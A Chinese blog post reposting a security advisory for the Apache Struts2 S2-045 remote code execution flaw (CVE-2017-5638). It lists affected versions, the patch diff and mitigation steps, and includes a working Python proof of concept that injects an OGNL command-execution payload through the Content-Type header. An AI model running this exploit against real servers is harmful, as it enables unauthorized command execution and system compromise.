IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Struts2漏洞预警(S2-045)

    没穿底裤发表于 2017-03-07 13:42:00
    love 0

    漏洞简介

    Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

    Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。
    漏洞编号:S2-045
    CVE编号:CVE-2017-5638
    漏洞类型:远程代码执行
    漏洞级别:高危
    漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
    影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

    漏洞分析

    恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

    漏洞关键点:
    1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
    2.恶意攻击者精心构造Content-Type的值
    通过版本比对定位漏洞原因:
    1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
    2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
    3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java

    三个文件修改内容相同,加固方式对用户报错加了条件判断。

    if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
                return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
             } else {
                return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
             }

    漏洞利用

    #! /usr/bin/env python
    # encoding:utf-8
    import urllib2
    import sys
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
    def poc():
        register_openers()
        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
        header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
        response = urllib2.urlopen(request)
        print response.read()
    poc()

    漏洞影响范围:

    Struts 2.3.5 - Struts 2.3.31
    Struts 2.5 - Struts 2.5.10

    漏洞修复建议(或缓解措施):

    检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
    更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
    临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。



沪ICP备19023445号-2号
友情链接